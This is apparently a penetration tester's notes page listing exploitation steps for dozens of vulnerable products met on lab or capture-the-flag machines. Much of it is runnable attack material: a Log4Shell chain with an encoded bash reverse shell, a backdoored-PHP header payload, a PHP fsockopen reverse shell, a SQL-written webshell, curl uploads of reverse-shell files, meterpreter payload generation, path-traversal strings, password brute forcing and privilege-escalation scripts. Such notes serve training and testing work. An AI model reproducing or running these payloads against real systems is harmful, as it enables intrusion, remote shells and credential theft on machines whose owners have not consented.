> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before.md).

# Things I have Pwn'd before

* `https://ippsec.rocks/?#`

### Unifi Log4Shell

* Unifi Network 6.4.54
* <https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi>
* Testing, capture auth attempt in burp with creds `test:test`
* Start `tcpdump` on your host station:

```
sudo tcpdump -i tun0 port 389
```

<figure><img src="/files/a9DLrc4Mnx30pgrGl4zY" alt=""><figcaption></figcaption></figure>

* The server will response with `invalid payload` however it is still connecting back to us, check `tcpdump` to ensure the connect back

![](/files/aUYkUKYsgzL9VifMg6CU)

* Now install the required packages:

```
sudo apt update
sudo apt update install openjdk-11-jdk -y
java -version
sudo apt-get install maven
mvn -v
```

* After the payload has been created, start the Rogue-JNDI application while passing in the payload as part of the `--command` option and your tun0 IP address to the `--hostname` option.

```
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
echo 'bash -c bash -i >&/dev/tcp/10.10.15.96/9001 0>&1' | base64
java -jar /opt/rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuOTYvOTAwMSAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.15.96"
```

* `--hostname` is your localhost tun0 interface
* Now start your listener
* Going back to our intercepted POST request, let's change the payload to `${jndi:ldap://{Your Tun0 IP}:1389/o=tomcat}` and click `Send`

### Apache Struts2

```
80/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
| http-title: Santa Naughty and Nice Tracker
```

* USE:

```
search struts2
exploit(multi/http/struts2_content_type_ognl)
```

### Microsoft-ds port 445

* `445/tcp open miscrosoft-ds`
* Run the nmap eternal scripts
* USE:

```
nmap --script=smb-vuln* $ip
exploit(windows/smb/ms08_067_netapi)
exploit(windows/smb/ms17_010_eternalblue)
```

### Wing FTP Server

* **Windows (admin panel):** `21/tcp open wingftp` — gain access to admin panel; `search lua` then `exploit(windows/ftp/wing_ftp_admin_exec)`.
* **Linux web client:** Exposed on HTTP (often subdomain e.g. `ftp.target.htb`). RCE via command injection (EDB 52347). See [Wing FTP Server (Linux web client)](/things-i-have-pwnd-before/wing-ftp.md) for subdomain discovery, exploit usage, config/salted hashes, world-writable user XML overwrite, and CVE-2025-4517 priv esc.

### FileZilla Server 0.9.60 beta

* Windows FileZilla Server 0.9.60 beta exposes a local admin port on `127.0.0.1:14147`; forward it over SSH and abuse the public 0.9.60 admin-port tooling to create `system:wyywyy` with FTP access to `C:\`. See [FileZilla Server 0.9.60 beta](/things-i-have-pwnd-before/filezilla-server.md).

### MS09-050 SMB

* Windows Server 2008 SP1 with SMBv2 can expose `CVE-2009-3103` / MS09-050. Confirm with nmap's SMB vuln scripts, replace the public PoC shell buffer with a generated Meterpreter payload, and run it against TCP/445 for SYSTEM. See [MS09-050 SMB](/things-i-have-pwnd-before/ms09-050-smb.md).

### Jenkins

* Jenkins `2.401.2` running only on localhost can be reached with an SSH local port forward. If CLI access allows CVE-2024-23897 arbitrary file read, use it to read `/root/.jenkins/secrets/initialAdminPassword`. See [Jenkins](/things-i-have-pwnd-before/jenkins.md).

### ClamAV Milter with Sendmail

* Legacy Sendmail `8.13.4` using clamav-milter can expose unauthenticated remote root command execution over SMTP. Exploit-DB 4761 adds a root shell service to inetd and exposes it on TCP/31337. See [ClamAV Milter with Sendmail](/things-i-have-pwnd-before/clamav-milter.md).

### Remote Mouse

* Remote Mouse 3.008 can expose TCP/UDP ports `1978-1980`; if network access is filtered, check the local GUI from RDP. WiFi Mouse `1.7.8.5` can also expose TCP `1978` with a `luminateOK` banner and support payload download RCE. See [Remote Mouse](/things-i-have-pwnd-before/remote-mouse.md).

### BaGet

* BaGet exposes NuGet service-index and package upload endpoints on IIS/.NET targets. Check `/upload`, `/v3/index.json`, the BaGet exposure nuclei template, and IIS short-name disclosure for `baget*`/`nuget*` assemblies. See [BaGet](/things-i-have-pwnd-before/baget.md).

### Booked Scheduler

* Booked Scheduler `2.7.5` can expose authenticated RCE. Check anonymous SMB log shares for leaked setup credentials such as `admin:adminadmin`, then exploit the authenticated RCE. See [Booked Scheduler](/things-i-have-pwnd-before/booked-scheduler.md).

### BoxBilling

* BoxBilling `4.22.1.5` can expose `/.git/HEAD`; dump the repository, recover `bb-config.php`, reuse the leaked password for admin login, then abuse `CVE-2022-3552` Filemanager file write for command execution as `yuki`. See [BoxBilling](/things-i-have-pwnd-before/boxbilling.md).

### SOPlanning

* SOPlanning `1.52.01` can be chained from exposed Git database credentials to the `soplanning` database, login as `admin` with the stored `cle|password` value, and authenticated `.phtml` upload RCE as `www-data`. See [SOPlanning](/things-i-have-pwnd-before/soplanning.md).

### Gerapy

* Gerapy on TCP/8000 can expose a default `admin:admin` login and CVE-2021-43857 authenticated RCE. Create a project first if the project list is empty, then use the exploit to get a shell as `app`; check Linux capabilities for `cap_setuid=ep` on Python. See [Gerapy](/things-i-have-pwnd-before/gerapy.md).

### rConfig

* rConfig `3.9.4` over HTTPS on TCP/8081 can be chained from temporary admin creation to authenticated `search.crud.php` command injection. Use the resulting `apache` shell to check `config.inc.php` and local privilege escalation such as SUID `find`. See [rConfig](/things-i-have-pwnd-before/rconfig.md).

### pyLoad

* pyLoad on TCP/9666 can expose a Cheroot login page and unauthenticated `/flash/addcrypted2` endpoint. For vulnerable versions prior to `0.5.0b3.dev31`, use `CVE-2023-0297` `jk=pyimport os;os.system(...)` injection to confirm command execution and stage a shell. See [pyLoad](/things-i-have-pwnd-before/pyload.md).

### WordPress AdRotate Banner Manager

* WordPress with AdRotate Banner Manager `5.8.6.2` can allow authenticated admin upload through the AdRotate media manager. Upload a ZIP containing `shell.php`, trigger it from `/wp-content/banners/shell.php`, then check `wp-config.php` for reusable local credentials. See [WordPress](/things-i-have-pwnd-before/wordpress.md).

### Prison Management System

* Prison Management System can allow admin login with `admin:admin123` or SQL injection, then authenticated avatar upload RCE by changing an intercepted image filename to `shell.php`. Check `database/connect2.php` and application tables for reusable credentials. See [Prison Management System](/things-i-have-pwnd-before/prison-management-system.md).

### XAMPP on Windows

* XAMPP on Windows can expose PHP LFI through `page=` parameters. Use `../../../../../../../xampp/apache/logs/access.log` for access-log poisoning, then execute a PowerShell/powercat reverse shell as the web user. See [XAMPP](/things-i-have-pwnd-before/xampp.md).

### HP Power Manager

* HP Power Manager 4.2 Build 7 exposes a GoAhead web UI with default `admin:admin`; the Metasploit `hp_power_manager_filename` module can yield SYSTEM. See [HP Power Manager](/things-i-have-pwnd-before/hp-power-manager.md).

### H2 Database

* H2 Database `1.4.199` can expose a web console on `8082`; with console access, JNI code execution can run commands and stage a Meterpreter payload. See [H2 Database](/things-i-have-pwnd-before/h2-database.md).

### FuguHub

* FuguHub `8.4` on Barracuda Embedded Web Server can expose an uninitialized setup wizard on TCP/8082. Set the admin account, confirm WFS access, then use the authenticated customization page to execute Lua Server Pages as root. See [FuguHub](/things-i-have-pwnd-before/fuguhub.md).

### Argus Surveillance DVR

* Argus Surveillance DVR 4.0.0.0 can expose unauthenticated directory traversal through `WEBACCOUNT.CGI`. Use it to read Windows files, steal user SSH keys, and recover Argus credentials from `C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini`. See [Argus Surveillance DVR](/things-i-have-pwnd-before/argus-surveillance-dvr.md).

### Liferay

* Liferay Portal admin access can lead to command execution through the Server Administration Groovy script console. Deployment files and NFS shares may leak `jdbc.default.*`, default admin email settings, and Tomcat config. See [Liferay](/things-i-have-pwnd-before/liferay.md).

### Laravel

* Laravel `8.4.0` with an exposed registration flow and dashboard-controlled `APP_DEBUG` can be exploited with `CVE-2021-3129` once debug is enabled. Use the Ignition exploit for command execution as `www-data`, then read `.env` for `APP_KEY` and database credentials. See [Laravel](/things-i-have-pwnd-before/laravel.md).

### Mage AI

* Mage AI `v0.9.75` exposed on Tornado can provide terminal access as `www-data`. See [Mage AI](/things-i-have-pwnd-before/mage-ai.md).

### Zabbix

* Zabbix `7.2.4` local configs can expose MySQL credentials. Use the Zabbix database to recover GUI hashes, crack `Admin:dinosaur`, reverse-forward the localhost-only GUI, and execute cloned scripts as `zabbix`. See [Zabbix](/things-i-have-pwnd-before/zabbix.md).

### Grav CMS

* Grav CMS exposed at `/grav-admin/` can be vulnerable to CVE-2021-21425 unauthenticated RCE. Check account YAML files after gaining web access. See [Grav CMS](/things-i-have-pwnd-before/grav-cms.md).

### Codoforum

* Codoforum admin access can permit PHP uploads through global settings and forum logo upload. Check `sites/default/config.php` for database credentials and possible local credential reuse. See [Codoforum](/things-i-have-pwnd-before/codoforum.md).

### CS-Cart

* CS-Cart can expose an old PHP shopping cart on Apache. Try default `admin:admin`, use authenticated CS-Cart RCE tooling for a `www-data` shell, then check `config.php` for local MySQL credentials. See [CS-Cart](/things-i-have-pwnd-before/cs-cart.md).

### Monstra CMS

* Monstra CMS `3.0.4` can expose public user profiles and authenticated RCE. Build a small wordlist from site content, authenticate to the admin panel, then use Monstra RCE tooling to write a PHP command shell under the active theme. See [Monstra CMS](/things-i-have-pwnd-before/monstra-cms.md).

### SaltStack

* SaltStack Salt API on `/run` can expose unauthenticated command injection through the SSH client path. Confirm with ICMP, then use `ssh_priv` injection to fetch and execute a reverse shell. See [SaltStack](/things-i-have-pwnd-before/saltstack.md).

### Subrion CMS

* Subrion CMS 4.2.1 admin access can lead to authenticated file upload RCE. Check Subrion config for DB credentials and member data. See [Subrion CMS](/things-i-have-pwnd-before/subrion-cms.md).

### SuiteCRM

* SuiteCRM `7.12.3` can expose default `admin:admin` access and authenticated RCE through `CVE-2022-23940`. Use the scheduled reports exploit for a `www-data` shell, then check `config.php` and `sudo -l` for `NOPASSWD: /usr/sbin/service`. See [SuiteCRM](/things-i-have-pwnd-before/suitecrm.md).

### Gogs

* Gogs access can expose users, repositories, source history, and config secrets. CVE-2025-8110 uses an authenticated symlink workflow; URL-encode special characters in credentials before cloning through exploit tooling. See [Gogs](/things-i-have-pwnd-before/gogs.md).

### Gitea

* Gitea may expose version details on TCP/3000 and allow registration. On `1.7.5`, a first registered admin user can abuse `CVE-2020-14144` Git hook RCE; if the PoC creates the temporary repo but no shell returns, manually push from the generated repo and try an outbound port allowed by the target. See [Gitea](/things-i-have-pwnd-before/gitea.md).

### OpenNMS

* OpenNMS Horizon / Meridian admin access can lead to RCE through notification configuration and filesystem editor features. The Metasploit module may require `ROLE_FILESYSTEM_EDITOR` and `ROLE_REST`, plus module/payload tuning. See [OpenNMS](/things-i-have-pwnd-before/opennms.md).

### Sonatype Nexus Repository Manager

* Nexus Repository Manager leaks useful version and REST data before auth. Admin access can lead to Windows command execution through Groovy scripts or custom tasks, and automation backups may reveal the rotated admin password. See [Sonatype Nexus Repository Manager](/things-i-have-pwnd-before/sonatype-nexus.md).

### SonarQube

* SonarQube exposes useful API/version checks. Admin access can upload a malicious plugin and restart the service; if the service runs as LocalSystem, the plugin executes as SYSTEM. Check `sonar.properties` backups and local H2 databases for credentials. See [SonarQube](/things-i-have-pwnd-before/sonarqube.md).

### uftpd

* `uftpd` 2.8 can be abused with directory traversal / chroot bypass tooling to retrieve sensitive files such as SSH private keys from local-only FTP services. See [uftpd](/things-i-have-pwnd-before/uftpd.md).

### Simple PHP Photo Gallery

* Simple PHP Photo Gallery `v0.8` can allow RFI through `image.php?img=`. Use it to include a hosted PHP webshell, read `db.php`, decode double-base64 gallery user passwords, and reuse a local user's password. See [Simple PHP Photo Gallery](/things-i-have-pwnd-before/simple-php-photo-gallery.md).

### Zenphoto

* Zenphoto `1.4.1.4` can expose its version in an HTML source comment under the gallery path. Use Exploit-DB `18083.php` against `/test/` for TinyMCE ajax file manager RCE, then read `zp-data/zp-config.php` for local MySQL credentials. See [Zenphoto](/things-i-have-pwnd-before/zenphoto.md).

### ImageMagick Identifier

* ImageMagick Identifier upload forms that run `magick identify` through a shell can be abused with a crafted PNG filename for command execution. On ImageMagick `6.9.6-4`, CVE-2023-34152 tooling produced a reverse shell as `www-data`; SUID `strace` gave root. See [ImageMagick Identifier](/things-i-have-pwnd-before/imagemagick-identifier.md).

### ZoneMinder

* ZoneMinder `1.29.0` under `/zm/` can expose blind stacked SQLi in the log query path. Use `INTO OUTFILE` to write a PHP webshell into `/var/www/html`, trigger it from the Apache service on TCP/3305, and continue from the `www-data` shell. See [ZoneMinder](/things-i-have-pwnd-before/zoneminder.md).

### SmarterMail

* SmarterMail on IIS web UI on TCP/9998. If TCP/17001 `.NET Remoting` is open, `CVE-2019-7214` deserialization can yield `NT AUTHORITY\SYSTEM`. See [SmarterMail](/things-i-have-pwnd-before/smartermail.md).

### OpenSMTPD

* OpenSMTPD on TCP/25 can be vulnerable to CVE-2020-7247 unauthenticated RCE. Confirm with an ICMP callback, then use a valid local recipient such as `root@HOSTNAME` for the reverse-shell exploit path. See [OpenSMTPD](/things-i-have-pwnd-before/opensmtpd.md).

### Openfire

* Openfire `4.7.3` admin console exposure on TCP/9090 can be abused with CVE-2023-32315 to create an admin user, upload a command-execution plugin, and recover embedded database properties such as `mail.smtp.password`. See [Openfire](/things-i-have-pwnd-before/openfire.md).

### OpenEMR

* OpenEMR exposed under `/openemr/` can lead to authenticated RCE with Exploit-DB `45161.py` after finding valid admin credentials such as `admin:thedoctor`. Patch the PoC for Python 3 command encoding, confirm blind command execution with ICMP, catch a reverse shell as `www-data`, then check PwnKit for root. See [OpenEMR](/things-i-have-pwnd-before/openemr.md).

### Mantis Bug Tracker

* `80/tcp open http mantisbt-2.3.0`
* CVE:2019-15715 2017-7615
* Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)

### Apache James Server

* Apache James Server `2.3.2` can expose `james-admin`, NNTP, POP3, and SMTP. Abuse unauthenticated Remote Admin command execution, then trigger the payload through a login event or reboot-triggered init script. See [Apache James Server](/things-i-have-pwnd-before/apache-james.md).

### Kibana

* 5601 is the elastic search port, 9200 is the api

```
curl -X GET "10.10.15.175:9200/_search?q=password&pretty"                                                                                                                                                                  130 ⨯
{
  "took" : 11,
  "timed_out" : false,
  "_shards" : {
    "total" : 6,
    "successful" : 6,
    "skipped" : 0,
    "failed" : 0
  },
  "hits" : {
    "total" : 1,
    "max_score" : 2.0136302,
    "hits" : [
      {
        "_index" : "messages",
        "_type" : "_doc",
        "_id" : "73",
        "_score" : 2.0136302,
        "_source" : {
          "sender" : "mary",
          "receiver" : "wendy",
          "message" : "hey, can you access my dev account for me. My username is l33tperson and my password is 9Qs58Ol3AXkMWLxiEyUyyf"
```

* If there are log files like on port 8000 which are showing you active kabana logs you can have a LFI vulnerability
* Go to the 5601 port and add this extension `/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../root.txt`

```
10.10.156.71:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../root.txt
```

* Then curl the logs and grep for root.txt

```
curl -s http://10.10.31.117:8000/kibana-log.txt | grep "root.txt" 
```

* Also can be used to get a shell in other situations
* <https://github.com/mpgn/CVE-2018-17246>

### Sync Breeze Enterprise

* Sync Breeze Enterprise v8.9.24
* <https://www.exploit-db.com/exploits/40456>

```
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=172.16.6.1 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
```

### Microsoft ds

```
exploit/windows/smb/ms17_010_eternalblue
```

### Android

* 5555/tcp open freeciv
* Install adb

```
adb connect [target ip address:port]
```

### Joomla versions 3.6.3

* Able to use joomra.py in order to create an account and login

```
python3 joom.py -u jack -p password -e jack@gmail.com http://10.10.10.10
```

* Edit the templates
* Add in webshell
* Can read the config files which has the use and password, then can ssh in

### XAMPP

* Got in through phpmyadmin \[root:no password]
* Able to get shell through SQL database commands

```
SELECT "<?php echo shell_exec($_GET['cmd']); ?>" into outfile "C:/xampp/htdocs/xampp/shell.php";
```

* Then browse to:

```
10.10.10.10/xampp/shell.php?cmd=dir
```

* Look for config files with passwords

```
C:\xampp\htdocs\admin\config.php
```

### Lucky GetSimple!

```
10.16.1.2/data/users/lucky.xml
```

* See the config file and passwd hash with username, crack in john
* PE with dirtycow \[CVE-2016-5195]
* Compile with

```
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
```

### Dolphin Wordpress

* Dolphin <7.3.2 Auth bypass / RCE exploit by Ahmed Sultan

### Codiad Impresscms

```
10.10.10.10/codiad/data/users.php
```

* Directories found

```
/config.php
/data
/wordspace
```

* Upload web shell
* Found SSH creds

### Techblog (Wordpress Siteimport Exploit)

* ![wp](https://user-images.githubusercontent.com/75596877/129896695-6c92634a-f5cc-4c47-96c3-a9fbc3dfcd1d.png)
* LFI

```
http://10.16.1.3/wp-content/plugins/site-import/readme.txt
http://10.16.1.3/wp-content/plugins/site-import/admin/page.php
http://10.16.1.3/wp-content/plugins/site-import/admin/page.php?url=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
http://10.16.1.3/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../etc/passwd
wp-config.php file #has the login creds
```

### Backupadmin

* Priv Esc on box with Amanda running, view by -LFI Exploit

```
fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

* ![Screenshot 2021-08-18 081521](https://user-images.githubusercontent.com/75596877/129896411-01115472-b6f1-4219-b143-f55cdb3c2b7d.png)
* ![Screenshot 2021-08-18 081521](https://user-images.githubusercontent.com/75596877/129896519-57dfb207-eaa6-4846-93de-c73a77d4e5ef.png)

```
ls -al /usr/lib/amanda
echo '#!/bin/sh
> /bin/sh' > priv.sh
chmod +x priv.sh
/usr/lib/amanada/application/amstar restore --star-path=/tmp/priv.sh
$ whoami
root
```

#### mysql Brute Force

* mysql 3306 running on the target

```
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.16.1.11
mysql -u root 10.16.1.11 -p
SHOW DATABASES;
SHOW TABLES FROM helpdesk;
USE helpdesk;
SELECT * FROM ost_form_entry;
```

### IP Fire 2.15

* Brute the admin default \[admin:admin]
* <https://github.com/0xskunk/IPFire-2.15-Shellshock-Exploit/blob/master/SIPS.py>

### init.d linux pe

*

```
<figure><img src="https://user-images.githubusercontent.com/75596877/129897354-b6d4149f-4a29-4f65-9af7-8410d1a0d4a5.png" alt=""><figcaption></figcaption></figure>
```

*

```
<figure><img src="https://user-images.githubusercontent.com/75596877/129897409-37fe5930-49c2-4e74-9859-4b0d3467a73f.png" alt=""><figcaption></figcaption></figure>
```

*

```
<figure><img src="https://user-images.githubusercontent.com/75596877/129897438-9d485c16-473d-46cc-a6c5-17edbfd47063.png" alt=""><figcaption></figcaption></figure>
```

### webserv

* NAS4Free -Web shell via the file editor

### Pro FTPD 1.3.5

* <https://github.com/t0kx/exploit-CVE-2015-3306/blob/master/exploit.py>

### TeamCity Linux Priv Esc

* Port was only listening locally so had to port forward in order to be able to browse to it

```
ssh sys-internal@10.10.250.201 -i id_rsa -L 8111:localhost:8111
```

* TeamCity operates on port `8111` by default
* Then could go to `localhost:8111` in my browser
* Was asked for a authentication token to login as super user
* In the path

```
/TeamCity/logs
```

* I was able to find a file called `catalina.out` which reading the contents provided me the authentication token

```
[TeamCity] Super user authentication token: 8119166573167676780
```

* Once you have gained access Create a new project
* ![alt text](https://miro.medium.com/max/2400/1*2X-pj25DAE7RoL3ifAI5Hg.png)
* Next fill in the build configurations
* ![alt text](https://miro.medium.com/max/2400/1*hKdxKO8ihqutmUqyDfHSNg.png)
* Next click build steps and use the following command to let `/bin/bash` run with full root privlages
* ![alt text](https://miro.medium.com/max/2400/1*NKdC7RmnSvhK0vl3o3J9Og.png)
* Click `save`, and then `run`
* Back to the command line and run:

```
/bin/bash -p
whoami
root
```

### ClipBucket

* File upload vulnerability with authentication

```
curl --user developers:9972761drmfsls -F "file=@php_reverse_shell.php" -F "plupload=1" -F "name=php_reverse_shell.php" "http://broadcast.vulnnet.thm/actions/photo_uploader.php"
curl --user developers:9972761drmfsls -F "file=@php_reverse_shell.php" -F "plupload=1" -F "name=php_reverse_shell.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php"
curl --user developers:9972761drmfsls -F "file=@shell.php" -F "plupload=1" -F "name=shell.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php"
```

* Site will tell you the MD5 Hash name of the file and the directory it is located. Make sure to add the `.php` extension to the end.

### PHP 8.1.0-dev

* This version of php was backdoored
* Detect with nikto or by capturing the server response in burp
* `X-Powered-By: PHP 8/1/0/dev` --> what you are looking for
* Automated POC exploit
* <https://www.exploit-db.com/exploits/49933>
* Manual Exploitation:
* Capture a request in burp suite
* Add additional `User-Agentt` header to the request (yes it is supposed to be spelled with two t's)
* Payload:

```
User-Agentt: zerodiumsystem('bash -c "bash -i >& /dev/tcp/10.10.14.13/9001 0>&1"');
```

### Open Net Admin (ona)

* Metasploit module for CMD injection 18.1.1
* <https://www.exploit-db.com/exploits/47772>
* Database file with credentials is located here:

```
 /opt/ona/www/local/config/database_settings.inc.php
```

### Wordpress HelloDolly Plugin

<pre><code>https://yebberdog.medium.com/try-hack-me-jack-walkthrough-904035594dc2
<strong>- craft shell from hacktricks 
</strong>- from revshells.com
&#x3C;?php $sock=fsockopen("10.10.14.2",80);passthru("/bin/bash &#x3C;&#x26;3 >&#x26;3 2>&#x26;3"); ?>
- update dolly code 
File edited successfully.
- now activate it 

&#x3C;?php if(isset($_REQUEST["cmd"])){ echo "&#x3C;pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "&#x3C;/pre>"; die; }?>

http://10.10.110.100:65000/wordpress/wp-content/plugins/hello.php?cmd=id
- code execution...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre>

### [Dolibarr 17.0.0](https://www.dolibarr.org)

* auth RCE <https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253>

```
python3 exploit.py http://crm.board.htb admin admin 10.10.14.53 9001
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.11] 53264
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ 
```

### CVE-2022-37706-Enlightenment-0.25.3-LPE

* If you see a suid binary called `enlightenment_sys`
* <https://www.exploit-db.com/exploits/51180>
* in order to exploit, Ive had to alter the script

```
# change below 
${file} /bin/mount -o
noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),
"/dev/../tmp/;/tmp/exploit" /tmp///net

# to this (no line breaks)
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
```

```
./poc.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Welcome to the rabbit hole :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
# 
```

### Pluck CMS 4.7.18

<https://www.exploit-db.com/raw/49909>

<https://codingninjablogs.tech/tryhackme-dreaming-pluck-cms-44575d7e558a>

User Input:

```
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]

python3 exploit.py greenhorn.htb 80 iloveyou1 /
Authentification was succesfull, uploading webshell
Uploaded Webshell to: 
http://greenhorn.htb:80//files/shell.phar

data/inc/files.php: $blockedExtentions = array('.php','php3','php4','php5','php6','php7','phtml','.phtm','.pht','.ph3','.ph4','.ph5','.asp','.cgi','.phar');
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
```

* file upload is not working well

<https://www.youtube.com/watch?v=GpL_rz8jgro>

* go to <http://greenhorn.htb/admin.php?action=installmodule>

```
zip test.zip php-rev.php
adding: php-rev.php (deflated 59%)
```

* upload the zip

### De-Pixel PDF to find password

* depixel file to get password

```
https://pdf2png.com/
// tool
https://github.com/spipm/Depix
python3 depix.py \
    -p ../../image_page_1_1.png \                    
    -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-25 19:31:34,915 - Loading pixelated image from ../../image_page_1_1.png
2024-07-25 19:31:34,929 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-25 19:31:35,788 - Finding color rectangles from pixelated space
2024-07-25 19:31:35,790 - Found 252 same color rectangles
2024-07-25 19:31:35,790 - 190 rectangles left after moot filter
2024-07-25 19:31:35,790 - Found 1 different rectangle sizes
2024-07-25 19:31:35,790 - Finding matches in search image
2024-07-25 19:31:35,790 - Scanning 190 blocks with size (5, 5)
2024-07-25 19:31:35,829 - Scanning in searchImage: 0/1674
```
